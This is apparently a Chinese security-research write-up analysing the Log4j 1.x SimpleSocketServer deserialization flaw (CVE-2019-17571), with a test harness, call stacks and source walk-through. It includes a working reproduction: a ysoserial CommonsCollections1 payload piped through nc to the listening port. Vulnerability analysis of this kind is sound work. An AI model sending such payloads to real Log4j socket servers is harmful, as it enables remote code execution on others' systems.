测试代码 1 2 3 4 5 6 7 8 9 10 11 12 package org.example;import org.apache.log4j.net.SimpleSocketServer;public class CVE201917571 { public static void main (String[] args) { System.out.println("INFO: Log4j Listening on port 4444" ); String[] arguments = {"4444" , (new CVE201917571 ()).getClass().getClassLoader().getResource("log4j.properties" ).getPath()}; SimpleSocketServer.main(arguments); System.out.println("INFO: Log4j output successfuly." ); } }
配置文件log4j.properties中的内容:
1 2 3 4 5 log4j.rootCategory=DEBUG,stdout log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.threshold=DEBUG log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
函数调用栈 构造ObjectInputStream函数调用栈
1 2 3 <init>:65 , SocketNode (org.apache.log4j.net) main:67 , SimpleSocketServer (org.apache.log4j.net) main:9 , CVE201917571 (org.example)
线程下的函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 transform:121 , ChainedTransformer (org.apache.commons.collections.functors) get:151 , LazyMap (org.apache.commons.collections.map) invoke:77 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy0 (com.sun.proxy) readObject:444 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) run:82 , SocketNode (org.apache.log4j.net) run:745 , Thread (java.lang)
详细分析 将断点下在SimpleSocketServer类的main方法中
进入main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public static void main (String argv[]) { if (argv.length == 2 ) { init(argv[0 ], argv[1 ]); } else { usage("Wrong number of arguments." ); } try { cat.info("Listening on port " + port); ServerSocket serverSocket = new ServerSocket (port); while (true ) { cat.info("Waiting to accept a new client." ); Socket socket = serverSocket.accept(); cat.info("Connected to client at " + socket.getInetAddress()); cat.info("Starting new socket node." ); new Thread (new SocketNode (socket, LogManager.getLoggerRepository()),"SimpleSocketServer-" + port).start(); } } catch (Exception e) { e.printStackTrace(); } }
执行到serverSocket.accept();会一致等待接收,此时使用ysoserial生成CC1链的payload,再使用nc向目标ip和端口发送数据
1 2 java -jar ysoserial-all.jar CommonsCollections1 "calc.exe" > cve201917571 cat cve201917571| nc 127.0.0.1 4444
此时accept成功接收到一个客户端的连接
主要看创建线程的代码,里面参数中new了一个SocketNode对象,进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public SocketNode (Socket socket, LoggerRepository hierarchy) { this .socket = socket; this .hierarchy = hierarchy; try { ois = new ObjectInputStream ( new BufferedInputStream (socket.getInputStream())); } catch (InterruptedIOException e) { Thread.currentThread().interrupt(); logger.error("Could not open ObjectInputStream to " +socket, e); } catch (IOException e) { logger.error("Could not open ObjectInputStream to " +socket, e); } catch (RuntimeException e) { logger.error("Could not open ObjectInputStream to " +socket, e); } }
跳出之后,主线程的新建一个子线程,并传递刚刚获取的SocketNode对象,并调用线程的启动函数strat
接下来就是子线程执行的部分
1 2 3 4 5 6 @Override public void run () { if (target != null ) { target.run(); } }
这里的target就是前面得到的SocketNode对象
进入该对象的run方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public void run () { LoggingEvent event; Logger remoteLogger; try { if (ois != null ) { while (true ) { event = (LoggingEvent) ois.readObject(); remoteLogger = hierarchy.getLogger(event.getLoggerName()); if (event.getLevel().isGreaterOrEqual(remoteLogger.getEffectiveLevel())) { remoteLogger.callAppenders(event); } } } } ... }
此时的ois正是由CC1链构造的恶意payload,能够导致RCE,接下来就是CC1链中的过程
参考 浅谈 Log4j2 漏洞 Log4j2从RC1绕过到RC2拒绝服务 Log4j2系列漏洞分析汇总 Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考 APACHE LOG4J多个高危漏洞(CVE-2021-44228/CVE-2021-4104/CVE-2021-45046/CVE-2021-45105)处置手册
注:本文首发于https://xz.aliyun.com/t/13077